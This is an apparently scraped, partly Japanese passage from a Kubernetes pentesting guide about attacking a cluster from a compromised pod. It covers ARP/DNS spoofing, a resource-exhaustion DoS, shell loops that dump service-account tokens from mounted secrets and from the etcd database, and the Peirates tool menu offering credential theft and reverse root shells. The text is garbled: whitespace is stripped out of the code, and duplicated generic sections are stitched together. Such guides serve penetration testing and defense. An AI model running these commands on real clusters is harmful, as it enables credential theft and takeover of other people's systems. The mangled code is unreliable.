In case the compromised pod is running some sensitive service where other pods need to authenticate you might be able to obtain the credentials send from the other pods sniffing local communications.
ネットワーク・スプーフィング
By default techniques like ARP spoofing (and thanks to that DNS Spoofing) work in kubernetes network. Then, inside a pod, if you have the NET_RAW capability (which is there by default), you will be able to send custom crafted network packets and perform MitM attacks via ARP Spoofing to all the pods running in the same node.
Moreover, if the malicious pod is running in the same node as the DNS Server, you will be able to perform a DNS Spoofing attack to all the pods in cluster.
There is no specification of resources in the Kubernetes manifests and not applied limit ranges for the containers. As an attacker, we can consume all the resources where the pod/deployment running and starve other resources and cause a DoS for the environment.
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
## Attacking Kubernetes from Inside a PodIn a Kubernetes cluster, if an attacker gains access to a pod, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:
1. **Accessing the Kubernetes API**: An attacker can access the Kubernetes API from inside a compromised pod, allowing them to gather information about the cluster and potentially perform malicious actions.
2. **Mounting Host Paths**: By mounting host paths into a pod, an attacker can access sensitive host resources such as configuration files or other pods' data.
3. **Exploiting Insecure Configurations**: Attackers can exploit misconfigurations in pod security policies, RBAC rules, or network policies to gain additional privileges within the cluster.
To prevent these attacks, it is crucial to follow security best practices such as implementing strong RBAC rules, restricting pod capabilities, and regularly auditing and monitoring cluster activities.
data-dir=/var/lib/etcd
etcdデータベース内のデータを表示する:
strings/var/lib/etcd/member/snap/db|less
データベースからトークンを抽出し、サービスアカウント名を表示します
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a PodWhen an attacker gains access to a Kubernetes pod, they can perform various actions to escalate privileges and potentially take control of the entire cluster. Some common techniques include:
1. **Pod-to-Pod Communication**: An attacker can eavesdrop on or intercept traffic between pods to gather sensitive information or perform man-in-the-middle attacks.
2. **Pod Escape**: By exploiting vulnerabilities in the container runtime or Kubernetes itself, an attacker can break out of the pod and access the host system.
3. **Node Compromise**: If an attacker gains control of a pod running on a node, they can potentially compromise the entire node and any other pods running on it.
To defend against these attacks, it is crucial to follow security best practices such as implementing network policies, restricting pod privileges, and regularly updating Kubernetes components.
したがって、静的 Pod は常に特定のノード上の 1 つの Kubelet にバインドされています。
kubelet は、各静的 Pod に対して Kubernetes API サーバー上にミラーポッドを自動的に作成しようとします。これにより、ノード上で実行されている Pod は API サーバー上で表示されますが、そこから制御することはできません。Pod の名前は、ノードのホスト名に先行するハイフンで接尾辞が付きます。
静的 Pod の spec は他の API オブジェクトを参照できません（たとえば、ServiceAccount、ConfigMap、Secret など）。そのため、この動作を悪用して現在のノードで任意の serviceAccount を使用して Pod を起動することはできません。ただし、異なる名前空間で Pod を実行することはできます（何らかの理由で便利な場合）。
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
